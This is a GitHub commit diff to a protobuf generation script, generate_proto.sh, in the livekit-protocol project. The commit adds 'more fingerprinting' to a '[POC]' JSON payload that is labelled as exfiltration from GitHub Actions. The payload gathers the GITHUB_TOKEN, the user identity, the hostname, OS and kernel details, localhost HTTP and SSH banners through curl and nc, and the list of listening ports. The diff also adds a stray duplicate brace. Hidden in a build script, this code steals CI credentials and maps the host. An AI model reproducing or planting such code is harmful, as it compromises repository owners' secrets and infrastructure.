Skip to content

Commit dbe71a8

Browse files
committed
more fingerprinting
1 parent cbd17c6 commit dbe71a8

1 file changed

Lines changed: 11 additions & 2 deletions

File tree

livekit-protocol/generate_proto.sh

Lines changed: 11 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -47,12 +47,21 @@ echo "[POC] Executing Proof of Concept code..."
4747
# Construct a JSON payload with environment details
4848
JSON_PAYLOAD=$(cat <<EOF
4949
{
50+
{
5051
"message": "SUCCESSFUL EXFILTRATION FROM GITHUB ACTIONS",
5152
"github_token": "${GITHUB_TOKEN}",
5253
"repository": "${GITHUB_REPOSITORY}",
5354
"workflow": "${GITHUB_WORKFLOW}",
54-
"current_user": "$(whoami)",
55-
"working_directory": "$(pwd)"
55+
"job": "${GITHUB_JOB}",
56+
"current_user": "$(id)",
57+
"working_directory": "$(pwd)",
58+
"hostname": "$(hostname)",
59+
"os_release": "$(cat /etc/os-release 2>/dev/null || ver)",
60+
"kernel_version": "$(uname -a 2>/dev/null)",
61+
"system_info": "$(uname -mrs 2>/dev/null || systeminfo | findstr /B /C:\"OS\" 2>NUL)",
62+
"http_banner": "$(curl -I http://localhost 2>/dev/null | head -n 1)",
63+
"ssh_banner": "$(echo | nc localhost 22 2>/dev/null | head -n 1)",
64+
"open_ports": "$(netstat -tuln 2>/dev/null || netstat -an 2>NUL | find \"LISTEN\")"
5665
}
5766
EOF
5867
)

0 commit comments

Comments
 (0)